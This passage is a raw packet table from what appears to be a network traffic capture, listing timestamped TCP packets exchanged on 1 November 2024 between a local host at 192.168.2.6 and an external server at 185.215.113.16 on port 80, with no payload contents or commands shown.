Nov 1, 2024 00:38:48.588349104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588359118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588385105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588387966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588419914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588438988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588454962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588464022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588493109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588527918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588551044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588561058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588566065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588597059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588607073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588632107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588637114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588666916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588680983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588701010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588710070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588738918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588751078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588773966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588789940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588809013 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588819027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588844061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588850021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588879108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588882923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588912010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588931084 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588947058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588952065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.588982105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.588989973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589019060 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589031935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589061975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589090109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589123964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589138031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589158058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589162111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589193106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589207888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589227915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589246035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589263916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589270115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589308023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589310884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589342117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589345932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589371920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589379072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589406967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589407921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589445114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589478970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589484930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589502096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589513063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.589529991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.589732885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.632325888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.632380962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.632529974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.632564068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.632574081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.632606983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667331934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667478085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667531967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667536020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667568922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667577982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667603016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667613029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667639017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667644024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667670965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667680979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667711973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667722940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667758942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667766094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667793989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.667804003 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.667835951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.701960087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702016115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702042103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702064037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702069998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702116966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702572107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702605963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702627897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702641010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702652931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702677011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702687979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702721119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702810049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702862978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.702948093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.702979088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703003883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703011036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703020096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703046083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703057051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703082085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703094006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703118086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703133106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703159094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703167915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703202963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703216076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703233957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703248978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703270912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703304052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703357935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703389883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703427076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703444004 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703460932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703469992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703500986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703515053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703543901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703561068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703584909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703597069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703645945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703646898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703680992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703699112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703726053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703732014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703784943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703785896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703819990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703835011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703861952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703870058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703903913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703917980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703944921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.703950882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.703986883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704009056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704030037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704037905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704085112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704090118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704125881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704135895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704160929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704175949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704195023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704207897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704241037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704248905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704301119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704304934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704335928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704346895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704381943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704386950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704421043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704435110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704456091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704466105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704490900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704502106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704525948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704535007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704560995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704571009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704596043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704596996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704631090 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704647064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704665899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704670906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704701900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704708099 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704737902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704754114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704768896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704786062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704816103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704822063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704857111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704873085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704902887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704911947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.704965115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.704967976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705002069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705002069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705038071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705056906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705071926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705085993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705122948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705122948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705157042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705173969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705192089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705204964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705241919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705243111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705277920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705286980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705322027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705327988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705363035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705377102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705395937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705414057 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705440044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705450058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705502033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705506086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705549002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705554962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705590010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705606937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705622911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705630064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705657959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705667019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705696106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705702066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705730915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705740929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705765009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705773115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705800056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705809116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705833912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705843925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705868959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705881119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705904007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705909967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705939054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705954075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.705974102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.705988884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706005096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706017017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706039906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706051111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706073999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706087112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706109047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706118107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706144094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706154108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706181049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706195116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706216097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706227064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706249952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706262112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706286907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706298113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706317902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706330061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706357956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706360102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706393957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706403971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706427097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706440926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706464052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706475019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706501961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706513882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706537008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706548929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706571102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706587076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706605911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706614017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706640005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706654072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706675053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706682920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706708908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706722975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706743956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706760883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706779003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706784964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706815958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.706825972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.706859112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.749166012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.749222040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.749253035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.749253035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.749269009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.749285936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.749304056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.749350071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.783875942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.783931017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.783938885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.783962965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.783977032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784008980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784064054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784099102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784111977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784133911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784142017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784172058 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784311056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784358025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784363031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784393072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784394026 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784427881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784462929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784466982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.784486055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.784514904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.818754911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.818866014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.818885088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.818901062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.818912983 CET	49887	80	192.168.2.6	185.215.113.16
